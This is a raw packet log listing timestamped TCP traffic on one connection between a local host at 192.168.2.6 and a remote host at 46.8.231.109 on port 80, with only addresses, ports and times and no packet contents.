Sep 15, 2024 19:37:38.955032110 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955038071 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955054045 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955075979 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955094099 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955131054 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955146074 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955162048 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955173016 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955192089 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955204964 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955226898 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955276012 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955452919 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955468893 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955483913 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955498934 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955516100 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955523968 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955574989 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955593109 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955610037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955622911 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955641031 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955650091 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955677986 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955693007 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955713034 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955725908 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955737114 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955741882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955755949 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955782890 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955796957 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955811977 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955827951 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955853939 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.955887079 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.955892086 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956013918 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956192970 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956219912 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956233978 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956239939 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956252098 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956270933 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956326962 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956342936 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956372976 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956389904 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956413984 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956429958 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956448078 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956464052 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956479073 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956502914 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956554890 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956571102 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956585884 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956597090 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956602097 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956623077 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956634045 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956656933 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956657887 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956672907 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956737995 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956753969 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956768990 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956783056 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956803083 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956906080 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956921101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956934929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956949949 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956954002 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956965923 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956975937 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.956979990 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.956996918 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.957003117 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.957019091 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.957046032 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.957099915 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.957114935 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.957129955 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.957160950 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.957180977 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.957309961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.957365990 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.957385063 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.957400084 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.957401991 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.957412958 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.957434893 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.957449913 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.034538031 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.034563065 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.034579992 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.034635067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.034667969 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039278984 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039314032 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039344072 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039349079 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039375067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039398909 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039427996 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039460897 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039495945 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039515972 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039529085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039535046 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039565086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039597988 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039608002 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039736986 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039769888 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039793968 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039803028 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039813042 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039850950 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039855003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039890051 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039900064 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039922953 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039937019 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.039980888 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.039992094 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040015936 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040034056 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040066957 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040081978 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040102005 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040113926 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040137053 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040146112 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040186882 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040186882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040225029 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040256977 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040275097 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040291071 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040303946 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040324926 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040337086 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040359974 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040373087 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040406942 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040409088 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040460110 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040493965 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040503979 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040513992 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040548086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040560007 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040586948 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040596962 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040621042 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040637970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040653944 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040672064 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040688992 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040703058 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040720940 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040733099 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040771008 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040775061 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040824890 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040827036 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040860891 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040873051 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040904999 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040910006 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040945053 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.040955067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040990114 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.040993929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041028023 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041038990 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041060925 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041073084 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041095972 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041096926 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041150093 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041198969 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041205883 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041233063 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041266918 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041277885 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041301012 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041302919 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041335106 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041378975 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041387081 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041435957 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041469097 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041485071 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041501999 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041512012 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041536093 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041568041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041580915 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041600943 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041605949 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041651964 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041685104 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041695118 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041717052 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041749954 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041762114 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041784048 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041791916 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041819096 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041847944 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041867971 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041881084 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041892052 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041913986 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041924953 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041949034 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041956902 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.041985035 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.041994095 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.042017937 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.042027950 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.042054892 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.042059898 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.042120934 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.043735027 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.043766022 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.043792963 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.043802977 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.043812990 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.043857098 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.043859959 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.043893099 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.043906927 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.043921947 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.043939114 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.043952942 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.043967009 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.043999910 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044003010 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044032097 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044042110 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044064045 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044079065 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044096947 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044105053 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044126987 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044143915 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044157982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044164896 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044195890 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044203043 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044231892 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044246912 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044276953 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044307947 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044322968 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044338942 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044353962 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044369936 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044384956 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044399977 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044414997 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044434071 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044444084 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044481039 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044487953 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044517994 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044540882 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044544935 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044570923 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044595003 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044625998 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044656038 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044675112 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044687986 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044701099 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044728994 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044733047 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044779062 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044780016 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044811964 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044828892 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044852972 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044857025 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044900894 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044909954 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044930935 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.044944048 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044972897 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.044977903 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045010090 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045023918 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045039892 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045058012 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045069933 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045084953 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045101881 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045121908 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045140028 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045146942 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045172930 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045196056 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045202017 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045212030 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045234919 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045243025 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045262098 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045278072 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045291901 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045310020 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045322895 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045346022 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045351982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045363903 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045382977 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045398951 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045429945 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045459032 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045459986 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045468092 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045490026 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045500040 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045528889 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045536041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045566082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045583963 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045602083 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045610905 CEST	49748	80	192.168.2.6	46.8.231.109
